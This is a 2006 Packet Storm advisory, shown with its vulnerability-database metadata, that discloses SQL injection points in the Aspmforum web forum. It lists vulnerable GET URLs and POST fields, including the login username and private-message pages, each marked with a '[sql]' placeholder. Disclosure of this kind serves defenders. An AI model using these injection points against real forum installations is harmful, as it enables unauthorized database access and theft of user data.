Search...

aspmforum.txt

2006-11-17T00:00:00

ID PACKETSTORM:52249
Type packetstorm
Reporter benjamin moss
Modified 2006-11-17T00:00:00

Description

                                        
                                            `vendor site:http://www.kervancilar.com/  
product:Aspmforum  
bug:injection sql (get & post)  
risk:high  
  
  
  
injection sql get :  
/forum.asp?baslik='[sql]  
/forum2.asp?baslik=2&soruid='[sql]  
/kullanicilistesi.asp?ak=&at=&harf='[sql]  
/kullanicilistesi.asp?at=baslayan&ak='[sql]  
once logged :   
/mesajkutum.asp?eylem=oku&mesajno='[sql] //private message  
  
  
  
injection sql post:  
in : /aramayap.asp  
Variables:  
kelimeler='[sql]  
or just post your query into the search engine ...  
  
in : /giris.asp  
Variables:  
kullaniciadi='[sql]&parola=&I1.x=0&I1.y=0&I1=Submit  
or just post your query into the username field   
  
  
laurent gaffié & benjamin mossé  
http://s-a-p.ca/  
contact: saps.audit@gmail.com  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:52249", "type": "packetstorm", "bulletinFamily": "exploit", "title": "aspmforum.txt", "description": "", "published": "2006-11-17T00:00:00", "modified": "2006-11-17T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/52249/aspmforum.txt.html", "reporter": "benjamin moss", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:21:39", "viewCount": 1, "enchantments": {"score": {"value": -0.5, "vector": "NONE", "modified": "2016-11-03T10:21:39", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:21:39", "rev": 2}, "vulnersScore": -0.5}, "sourceHref": "https://packetstormsecurity.com/files/download/52249/aspmforum.txt", "sourceData": "`vendor site:http://www.kervancilar.com/ \nproduct:Aspmforum \nbug:injection sql (get & post) \nrisk:high \n \n \n \ninjection sql get : \n/forum.asp?baslik='[sql] \n/forum2.asp?baslik=2&soruid='[sql] \n/kullanicilistesi.asp?ak=&at=&harf='[sql] \n/kullanicilistesi.asp?at=baslayan&ak='[sql] \nonce logged : \n/mesajkutum.asp?eylem=oku&mesajno='[sql] //private message \n \n \n \ninjection sql post: \nin : /aramayap.asp \nVariables: \nkelimeler='[sql] \nor just post your query into the search engine ... \n \nin : /giris.asp \nVariables: \nkullaniciadi='[sql]&parola=&I1.x=0&I1.y=0&I1=Submit \nor just post your query into the username field \n \n \nlaurent gaffi\u00e9 & benjamin moss\u00e9 \nhttp://s-a-p.ca/ \ncontact: saps.audit@gmail.com \n`\n"}